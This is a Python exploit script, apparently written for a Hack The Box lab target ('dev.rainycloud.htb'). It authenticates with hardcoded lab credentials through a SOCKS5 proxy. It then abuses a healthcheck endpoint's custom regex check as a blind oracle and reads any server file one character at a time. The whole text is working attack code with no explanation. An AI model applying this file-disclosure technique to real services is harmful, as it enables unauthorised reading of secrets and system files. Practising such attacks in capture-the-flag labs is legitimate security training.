#!/usr/bin/env python3

import re
import requests
import string
import sys


def check_pattern(filename, pattern):
    resp = sess.post("http://dev.rainycloud.htb/api/healthcheck",
                     data={"file": filename, "type": "CUSTOM", "pattern": pattern})
    try:
        return resp.json()["result"]
    except:
        import pdb; pdb.set_trace()


if len(sys.argv) != 2:
    print(f"{sys.argv[0]} [file_to_read]")
    sys.exit()

# get authenticated via proxy
sess = requests.session()
sock5 = {"http": "socks5://127.0.0.1:1080"}
sess.proxies.update(sock5)
resp = sess.post("http://dev.rainycloud.htb/login",
                 data={"username": "gary", "password": "rubberducky"})

contents = ''
display = ''
fn = sys.argv[1]
while True:
    if check_pattern(fn, f"^{re.escape(contents)}\Z"):
        break
    for c in string.printable[:-2]:
        print(f"\r{display}{c}", end="")
        if check_pattern(fn, f"^{re.escape(contents + c)}.*"):
            contents += c
            display = '' if c == "\n" else display + c
            break
print()